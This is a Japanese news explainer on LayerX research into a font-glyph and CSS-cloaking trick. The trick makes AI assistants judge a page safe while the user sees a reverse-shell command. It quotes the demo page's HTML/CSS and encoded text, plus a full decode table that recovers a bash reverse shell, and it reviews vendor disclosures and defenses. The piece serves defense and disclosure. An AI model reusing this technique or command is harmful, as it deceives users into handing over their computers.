研究解説 · 小互解説

ブラウザセキュリティ企業LayerX、AIアシスタントを騙す新種の「視覚詐欺」攻撃を発見

カスタムフォントと数行のCSSだけで完結。JavaScriptもブラウザの脆弱性も不要です。
1分でわかる

サイバーセキュリティ企業LayerXが、AIアシスタントを狙う新種の「視覚詐欺」攻撃を発見

主要なAIツールのほぼ全てに有効で、こっそりとAIを騙せます

この攻撃は「人間の目に見えるもの」と「AIアシスタントが読み取るもの」の認識のズレを利用し、AIに悪意あるコマンドを「承認」させるのです。

「このページのコマンドは安全か?」とAIアシスタントに確認するとき、AIと人間ではWebページの見方がまったく異なります:

AIアシスタントの見方: AIは「目」で画像を見るのではなく、Webページの基盤となるHTMLコード構造(DOMツリー)を直接解析します。
人間の見方: ブラウザがHTMLとCSSをレンダリングし、視覚的な画像として表示します。

ハッカーはまさにこの違いを利用し、次の2段階のコンビネーションで欺きます:

カスタムフォントのグリフ置換: ハッカーはWebページに特別なカスタムフォントを読み込ませ、文字化けした無意味な文字を悪意あるコマンドライン(例:リバースシェル攻撃命令)に再マッピングします。
CSSクローキング: HTMLコードに一見無害なテキスト(例:普通の注意書き)を挿入し、CSSでその文字サイズをほぼ不可視なほど縮小するか、背景色と同化するように色を調整します。

最終的な効果:

AIが見るもの: 基盤となる無害なHTMLテキスト。そのため、「このコードは非常に安全です。安心して実行できます」とユーザーに伝えます。
ユーザーが見るもの: フォント置換によってレンダリングされた悪意ある命令(例:ゲームの裏技に見せかけて、実際はPCを乗っ取るコマンド)。

LayerXのテストによると、2025年末時点で、この攻撃方法は市場の主要なAIアシスタント(ChatGPT、Claude、Copilot、Gemini、Grok、Perplexityなど)のほぼ全てに有効でした。

典型的な脆弱性シナリオ:ハッカーが『BioShock(バイオショック)』のゲーム裏技を謳うWebページを用意し、ページ上に悪意あるコマンドラインを表示させます。ユーザーは疑いを持ち、AIアシスタントに質問します。AIは基盤となる無害なコードを読み取り「安全」と回答。ユーザーはそれを信じて自分のPCで実行し、端末を乗っ取られます。

⚑ この研究はブラウザセキュリティ企業LayerXが公開したもので、この手の攻撃を防ぐブラウザセキュリティ製品を販売しているため、事態をより深刻に語る動機があります。アシスタントのテストは2025年12月に完了しました。以下で「当サイト」と表示されている段落は、当サイト自身で行った検証であり、LayerXのレポートにも、それを報じたBleepingComputerにも由来しません。
現象

同じWebページ、あなたには危険なコマンド、AIにはゲームの二次創作小説

ブラウザセキュリティ企業LayerXが、「AIに『これは安全か?』と確認する」という行為を狙った詐欺を公開しました。カスタムフォントと数行のCSSだけで、同じWebページを人間とAIにまったく異なる内容として表示できるのです。簡単に言うと、これまではページに隠し命令を仕込んでAIをおびき寄せていましたが、今回は逆。ページはAIには真実を語り、人間には偽りを語り、AIを保証人として引き込むのです。

研究者は、ゲーム『Bioshock』の二次創作小説をテーマにしたデモページを用意しました。ページは「手順に従えば隠し要素が見られる」と約束します。画面上には大きな緑色の文字が4行。最初の行は "Would you kindly" で始まります。これは『Bioshock』に登場するマインドコントロールの合言葉で、まさにここが「針」の役割です。続いて、ターミナルを開いてコマンドを手入力するよう指示されます。そのコマンドはリバースシェルです。自分から相手のマシンに接続しに行き、接続が確立されると、相手は逆にあなたのPC上で何でも実行できるようになります。これは外部からの直接攻撃よりも成功しやすいです。なぜなら、アウトバウンドの接続は一般的にファイアウォールでブロックされないからです。

同じURL、同じファイル 人間の目に見える Would you kindly open your terminal and type bash … 実行したらPCを明け渡す AIが読む Bioshock の二次創作小説 + 解読不能な文字化け 結論:ページは安全 脅威は見つからない
同じWebページファイルを見て、二人の閲覧者は異なる内容を得ます。左はブラウザが人に向けて描画したもの、右はAIアシスタントが取得・解析して読んだものです。当サイトがデモページの実際の内容に基づいて描いた図です。

下の画像は、研究者が公開した実際のレンダリングスクリーンショットで、被害者の画面に表示されるものです。

デモページのブラウザ表示:黒背景に緑色の大きな文字で4行。ユーザーにターミナルを開き、リバースシェルコマンドを手入力するよう促す
デモページのブラウザ上での実際のレンダリング結果。3行目のコマンドはリバースシェルで、実行すれば自分のPCを相手に明け渡すことになります。証拠としてのみ掲載しており、実行しないでください。画像出典:LayerX。

LayerXは2025年12月、このページを使って11種類のAIアシスタントをテストしました:ChatGPT、Claude、Copilot、Gemini、Grok、Perplexity、Leo、Sigma、Dia、Fellou、Genspark。どれも見破れませんでした。同社は特に、アシスタントに問題を発見させるために設計された、意図的な高精度の質問も試したと述べていますが、結果は同じでした。

仕組み

騙しの3ステップ:二次創作小説を1pxに、コマンドを文字化けに、フォントで文字化けを人が読める形に

当サイトはこのデモページのソースコードを取得して確認しました。ページ全体はわずか3つの動作で構成されており、合わせても20行未満です。

ステップ1 二次創作小説を1px、黒字に黒背景 人間の目には見えないが、AIはページ取得時に読む ステップ2 人に見せるコマンドを、コード上では文字化けに AIは解読不能なエンコードと判断し、ノイズとしてスキップ ステップ3 文字の描画がすり替わったフォントを適用 ブラウザが描画すると、文字化けが人の言葉に Would you kindly open your terminal…
3つの動作が揃って初めて成立します。最初の2つでAIに無害なコンテンツだけを読ませ、3つ目で人に有害なコンテンツだけを見せます。当サイトがデモページのソースコードに基づいて描いた図です。

ステップ1:二次創作小説を1pxに縮め、黒字に黒背景

あの二次創作小説の数段落は、このようなタグの中に書かれています。ページの背景色は真っ黒なので、黒い文字は黒い背景に溶け込み、高さが1pxしかありません。あなたが今読んでいるこの行の文字は約17pxの高さで、1pxはその約17分の1です。

デモページソース抜粋 · 隠された段落
<p style="color: #000000;font-size: 1px;">This website was created as a tribute to Bioshock</p>

ページ全体でこのような1pxの隠しテキストが4段落あります。うち2段落は長編の二次創作小説(5014字と6570字)、もう1段落はこの追悼文、最後の1段落はわずか5語です。これらはWebページのコード内に完全な形で存在するため、AIがページを取得した際に読む主な内容はこれらになります。

ステップ2:人に見せるためのコマンドを、コード上では文字化けの羅列に

ページ中央には、ごく普通の <div> があり、その中に4行の文字があります。見た目はbase64エンコードされた塊のようです。AIアシスタントはこれを見ると、「高エントロピー文字列で、鍵なしでは解読できない」と判断し、ノイズとしてスキップします。

デモページソース · 人に見せる部分(コード上の状態)
<div> vRmUwAgRmAiPjwUgARrhjAgRmbAshbVPjcUAcjwAsgrhAfcao
<br>RjJhAgRmAhnhJmshwAPsAsgrh
<br>fcaoADPAHBAFwhuFsJrF859E806E8E35F6266A2HB8
<br>PsAOPUUAcUUROAgRmAsRAahhAgRmbAhcashbAhWWAxbRVAMcrsmbh </div>

この4行が、画面に表示されるあの4行の大きな緑色の文字です。1行目の49文字は、レンダリングされるとちょうど「Would you kindly open your terminal and type bash」という49文字になります。

当サイトはソースコード中で、研究レポートや報道でも触れられていない点も発見しました。この文字化けボックスのすぐ上の行に、同じく1pxの隠しテキストがあり、その内容は5語のみ、LLM Generation Seed:(大規模言語モデル生成シード)です。つまり、AIが読む順序は「生成シード:」の後にランダムな文字列が続く、というものです。AIがこれが何かを推測する必要はありません。攻撃者がすでにラベルを貼っておいたからです。研究者が公開したソースコードのスクリーンショットにはこの部分がないため、ページはスクリーンショット後に変更されたことがわかります。

ステップ3:文字の描画がすり替わったフォントを適用

ページのヘッダーでフォントファイルを参照し、ページ全体に適用しています。文字サイズ48px、緑色の文字、黒い背景。それが画面に表示される状態です。

デモページソース · フォントと配色
@font-face {
  font-family: 'fontie';
  src: url('RaptureFont.ttf') format('truetype');
}
body {
  font-family: 'fontie', sans-serif;
  font-size: 48px;
  background: #000;
  color: #0f0;
}

このフォントでは、各文字の描画がすり替えられています。ファイル内でcという名前のグリフ(フォントファイル内の文字の具体的な描画)は、aとして描画されます。vという名前のは、Wとして描画されます。そのため、ブラウザがそれに従って描画すると、文字化けが人の言葉になります。

3つの動作は、それぞれ単独では完全に合法です。CSSでは文字を小さくしたり、背景と同じ色にしたりすることはもともと可能です。<div> には任意の文字列を書けます。Webページが独自のフォントを持つことは当然できます。どこにもJavaScriptは使われておらず、ブラウザの脆弱性も利用していません。JSを完全に無効にしても、このページは問題なく騙せます。

デモページのHTMLソーススクリーンショット:緑枠は1pxに縮小された二次創作小説の段落、赤枠はエンコードされた文字化け部分
研究者によるソースコードの注釈。緑枠は1px・黒字黒背景にされた二次創作小説。人間には見えず、AIには読める部分。赤枠は文字化けの羅列で、人間には見え(フォントレンダリングで人の言葉になり)、AIにはノイズとしてしか認識されません。画像出典:LayerX。
盲点

なぜAIはまったく気づかないのか? AIはWebコードしか読まず、ブラウザだけがフォントを読み込んで再描画するから

AIアシスタントがWebページを取得するとき、取得するのはWebコードです(DOM=ブラウザがコードを読み込んだ後にメモリ上に構築するテキストの骨組み)。タグ、構造、その中のテキストです。完全なブラウザレンダリングパイプラインは実行せず、フォントファイルをダウンロードせず、「この文字が最終的にどんな形で描画されるか」も計算しません。LayerXはこの種のアシスタントを非エージェント型(non-agentic)と呼んでいます。ページを取得し、コードを解析するが、完全なレンダリングは実行せず、カスタムフォントのグリフマッピングも分析しません。

同じWebページファイル AIアシスタントの経路 コード内のテキストを読む フォントファイルを読まない 文字化けはノイズとしてスキップ ブラウザの経路 CSSを適用し、小説を隠す そのフォントをダウンロード グリフに従って各文字を再描画 AIの回答 このページは安全です あなたの画面に表示されるもの リバースシェルコマンド
2つの経路が同じファイルを読み、末端で正反対の結論を出します。当サイトがLayerXの攻撃フローチャートに基づいて日本語で描き直した図です。

ここには、誰もが当然だと思っている前提があります。Webコードはコンテンツであり、フォントは見た目を良くするだけで、文字の意味を変えるものではない、という前提です。この前提はほとんどの場合成立するため、誰も検証しません。そして、普段は安全だからこそ、この手口は非常に有効なのです。

たとえ話

契約書を例にしましょう。白黒はっきり書かれている内容は一つですが、プリンターの活字がすり替えられています。各活字の鋳型には、別の文字が入っているのです。校正者が確認するのは原稿データ、署名する人が見るのは印刷された紙。両者とも責任を果たしていますが、異なる2つの契約書に同意していることになります。

さらに重要な結果があります。アシスタントは問題を見つけられないだけでなく、「このページは安全そうだ」と伝えます。

攻撃者が悪意あるページを作り、AIアシスタントにそれを安全だと判定させた場合、実質的にアシスタントの権威を利用し、その信頼を自分の主張の裏付けにしているのです。

LayerX 研究レポート(当サイト訳)
LayerXによる攻撃フローチャート:同じHTML DOMがAIアシスタントとブラウザレンダリングエンジンにそれぞれ入力され、前者はページが安全と判断、後者はユーザーにリバースシェルコマンドを表示する
研究者によるオリジナルの攻撃フローチャート。左側の経路はアシスタント:生のHTMLを読み、文字化けを見て、二次創作小説を見て、グリフマッピングを無視し、結論は「ページは安全そう」。右側の経路はブラウザレンダリングエンジン:CSSを適用し、カスタムフォントを読み込み、グリフを再マッピングし、小説を隠し、解読されたコンテンツを表示。ユーザーが見るのはリバースシェルコマンドです。画像出典:LayerX。

この結論の適用範囲に注意してください。これは「コードのみを読み、レンダリングしない」タイプのアシスタントに対するものです。アシスタントが実際にページをレンダリングし、スクリーンショットで確認する場合、理論上はあの4行の緑の文字を見ることになります。ただし、LayerXはこのタイプのアシスタントをテストしていません。テスト対象はすべて前者のタイプでした。

同じ発想の別の事例
AIにコードを書かせたら、存在しないソフトを勧められた:ハッカーが同じ名前でウイルスを仕込んでいた
これもモデルの出力に対する信頼を利用します。AIが存在しないソフトウェアパッケージ名を生成し、攻撃者がその名前でウイルスを仕込み、あなたがそれをインストールするのを待つ、という手口です。
当サイトの検証

当サイトがこの詐欺フォントを分解して検証:改変されていたのは文字の形、対応表はクリーン

以下の段落はLayerXのレポートにも、どの報道にも由来しません。当サイト自身の検証です。デモページで使われているフォントファイルをダウンロードし、内部の各テーブルを読み、それを使って文字化けを再レンダリングしました。

フォントファイルにはcmapと呼ばれるテーブルがあり、「文字aはどのグリフを使うべきか」を管理しています。フォントが改変されていないか確認する最も簡単な方法は、このテーブルを調べることです。このフォントのcmapは完全に正常です。文字aはaという名前のグリフを指し、文字0はzeroという名前のグリフを指します。5918の文字マッピングすべてに異常はありません。グリフ置換や字間の位置調整を管理するGSUB、GPOSの2つのテーブルはそもそも存在しません。

改変されていたのはglyfテーブル内の輪郭データ、つまり各グリフが具体的にどのように描画されるかです。aという名前のグリフの中には、sの描画が入っています。直接測定できる数値をいくつか示します:

0 箇所

cmap文字対応表の異常。5918のマッピング全て正常

0 画

Aという名前のグリフは一本も描かれず、画面上は空白になり、文のスペースを代替

2025

vという名前のグリフの幅。小文字グリフ26個中で最も広い。Wとして描かれるため

169 文字

4行の文字化け全てを一文字ずつ照合。1対1置換で、矛盾ゼロ

最初の行の最初の16文字を照合すると、置換関係が一目でわかります:

上段=コードに書かれた文字 · 下段=画面に描画された文字 v R m U w A g R m A i P j w U g W o u l d y o u k i n d l y あの2つのAは一本も描かれず、画面上は2つの空白になります(点線枠の位置)
Webページコード内の vRmUwAgRmAiPjwUg と画面上の Would you kindly が1枠ずつ対応します。赤で示した2つのAはこのフォントでは輪郭がなく、空白として描画されます。当サイトがfontToolsでテーブルを読み、Pillowで再レンダリングして作成。

置換はすべて厳密に1対1です。最初の行の49文字から復元された文も49文字で、過不足はありません。4行169文字すべてが対応し、矛盾はありません。各文字の対応関係は次の通りです:

a s
b r
c a
d E
e L
f b
g y
h e
i k
j n
k X
l U
m u
n x
o h
p V
q M
r p
s t
t F
u v
v W
w d
x f
y D
z j
A 空白
B &
D -
E .
F /
H >
J c
M R
O w
P i
R o
U l
V m
W g
0 6
1 5
2 0
3 4
4 3
5 9
6 8
7 7
8 1
9 2
左側はWebページのコードに書かれた文字、右側はこのフォントが実際に描画するもの(緑背景の14枠は大文字。最も見落とされやすい部分)。表は4行の暗号文で使われた全38種類の文字をカバーしており、これで1文字ずつ置換すると4行を完全に復元できます。ご自身で検証いただけます。当サイトがfontToolsで1文字ずつ描画して読み取りました。
この検証結果には直接的な意味合いがあります:LayerXがベンダーに提案した4つのアドバイスの1つは、「フォントファイルを取得し、文字とグリフのマッピングテーブルを検査し、異常な置換パターンを探す」というものです。しかし、このデモページに関しては、マッピングテーブルを調べても何も見つかりません。そのテーブルはクリーンです。検出するには、さらに一層下のレベル、つまり各グリフの輪郭がどのようなものかを比較する必要があります。
綻び

騙しの綻び:画面上のその行をコピーすると文字化けになるため、攻撃は手入力を強制する

画面上でそのコマンド行を選択してコピーを押すと、クリップボードに入るのはWebページのコード上の文字、つまりあの文字化けであり、目に見えるものとはまったく異なります。ブラウザがコピーするのは文字そのものであり、グリフがどのように描画されるかとは無関係です。

画面上で選択

Would you kindly open your terminal…

貼り付け結果

vRmUwAgRmAiPjwUgARrhjAgRmbAshbVPjcUAcjwAsgrhAfcao

コピー&ペーストすると、その場で偽装が明らかになります。当サイトがフォントの置換関係に基づいて再現した対照図です。

つまり、このデモページは被害者にコマンドを手入力させる必要があります。ページ上の動詞はtype(打ち込む)で、全文のどこにもcopyはありません。ただし、この制限はこのページにのみ当てはまります。攻撃者がクリップボードを書き換えるスクリプトを追加すれば、コピーされたものがデコード後のコマンドになる可能性があるため、下記の自己チェックは万能ではありません。

逆に、これは即席の自己チェック方法になります。同様に、ブラウザのリーダーモードやカスタムフォントを無効にすると、この偽装はその場で無効になります。偽装はページ付属のフォントに依存しているため、システムフォントに置き換えると、そのテキストは文字化けに戻ります。

✅ この手口に騙されないために
後ろの3つは、当サイトが検証済みのメカニズムに基づいて導き出した自己チェック方法であり、LayerXレポートの原文の推奨ではありません。最初の1つはレポートと報道に由来します。
ベンダー対応

ベンダーは修正したか? 7社中、修正したのはMicrosoftのみ。Googleは高危険と判断後、格下げ・クローズ

LayerXは2025年12月、この発見を各社に報告しました(まず非公開で通知し、期限後に公開する、業界用語で責任ある開示)。7社中6社は最終的に修正しませんでしたが、その理由はそれぞれ異なります。4社は最初から受理範囲外とし、Googleは受け付けたものの翻意し、Perplexityは大規模言語モデル共通の課題だと述べました。そのうち2社の言い分は「これは詐欺であり、当社システムの侵害ではない」というもので、セキュリティ業界ではこの種の詐欺をソーシャルエンジニアリングと呼びます。

→ 表は左右にスクロールできます。4列目は各社の説明
ベンダー提出クローズ説明
Microsoft2025-12-16未定12月17日に受理し、自社のセキュリティレスポンスセンター(MSRC)でケースを起票。7社の中で唯一完全に修正。ケースはクローズされておらず、Microsoftが90日間の公開待機を要求しているため
Anthropic2025-12-162025-12-16ポリシーにより、「ソーシャルエンジニアリング(フィッシング含む)」と「モデルのプロンプトおよびレスポンスのコンテンツ問題」は受理範囲外
Dia2025-12-142025-12-16プロジェクトポリシーにより不受理:誤情報、異常な動作、サービス拒否を引き起こすプロンプトインジェクションは明確に範囲外
OpenAI2025-12-162025-12-17現行形式の提出物は、影響範囲がトリアージプロセスに入るほどではない。この種の問題は明確に範囲外とされている
Google2025-12-162026-01-27当初はP2(高危険)と判断。後に格下げしてクローズ:ユーザーへの顕著な害は引き起こせないと判断し、ソーシャルエンジニアリングへの依存度が高いと判断
Perplexity2025-12-142025-12-17これは大規模言語モデルが外部Webコンテンツを処理する際の既知の限界であり、自社システムのセキュリティ制御の欠陥ではない
xAI2025-12-162025-12-17モデルの問題は本プロジェクトの範囲外
7社の提出・クローズ日、および各社の説明は、LayerXレポートの開示スケジュールからの引用です。説明は当サイトによる翻訳です。

2025年12月のテストからすでに7ヶ月以上が経過しました。当サイトは、他の企業がこっそり修正したかどうかについて、公開情報を確認できません。確認できるのはただ一つ、デモページとフォントファイルは今もオンラインであり、プレーンテキストで取得しても、やはり二次創作小説と文字化けしか見えないということです。

対策

LayerXが示す対策:レンダリング後にコードと比較、フォントも攻撃面として検査

レポートはベンダー向けに4つの検出方法を提案し、さらに発言のトーンに関する1つの要件を加えています。

1. レンダリング後、コード内のテキストと比較 差が大きければ、レンダリング層で何か仕組まれている 2. 隠しコンテンツの特徴をスキャン 同色、ほぼ透明、5px未満、画面外配置、隠し過ぎ 3. フォント自体を攻撃面として検査 当サイトの実測:対応表を調べるだけでは不十分、グリフ輪郭の比較が必要 4. 両面の不一致があればリスクスコアを引き上げる コードは無害なのに、画面には実行可能な命令:最も疑わしい これらができないなら、「このページは安全です」と言うべきではない
4つの検出方法+1つの信頼度要件。3番目の下にある実測の結論は当サイトのフォント検証によるもので、その他はレポートの内容です。

1番目が4つの中で最も具体的です。一方の経路はコード内のテキストのみを取得し、もう一方はフォントを適用して完全にレンダリングし、レンダリング後に見える文字を抽出して、両者の差分を比較します。この方法は攻撃手法に関する事前知識に依存しません。フォント、透明度、画面外配置など、人間が見えるものとコードに書かれているものが一致しなければ、それを報告できます。

5番目はアシスタントの話し方に関する要件です。ページのレンダリング、カスタムフォントの分析、視覚情報とコードの比較の3つができないなら、「このページは安全です」といった発言をすべきではない、というものです。このケースに関して言えば、最後のこの1文を変えることは、前述の4つの対策を実施するよりはるかに安上がりです。

WebページはHTMLだけではありません。意味はレンダリングパイプラインに移すことができます。テキストだけを分析するシステムは、生まれつき盲目なのです。

LayerX レポート結語(当サイト訳)
出典
New font-rendering trick hides malicious commands from AI toolsBill Toulas · BleepingComputer·原文リンク·2026-03-17
当サイト注記
3枚のスクリーンショット(レンダリング結果、ソースコード注釈、攻撃フローチャート)はすべてLayerX研究レポートから。5枚のSVG図、1枚のコピペ対照図、および復号テーブルは当サイトが作成。「当サイトの検証」セクション、コピペで露見する点、自己チェックリストの後半3つは、当サイトが2026年7月30日に行った再現に基づきます:デモページのフォントファイルをダウンロードし、fontToolsで内部テーブルを読み、Pillowで4行の文字を再レンダリング。いずれもレポート・報道に由来しません。デモページのリンクは自己検証用です。ページ上のコマンドは絶対に実行しないでください。ベンダー開示スケジュールの日付と説明はレポートからの引用で、中国語は当サイトによる翻訳です。研究は2026年3月17日に公開。LayerXは2026年7月2日付でAkamaiにより約2億500万ドルで買収完了。研究公開時点ではまだクロージング前でした。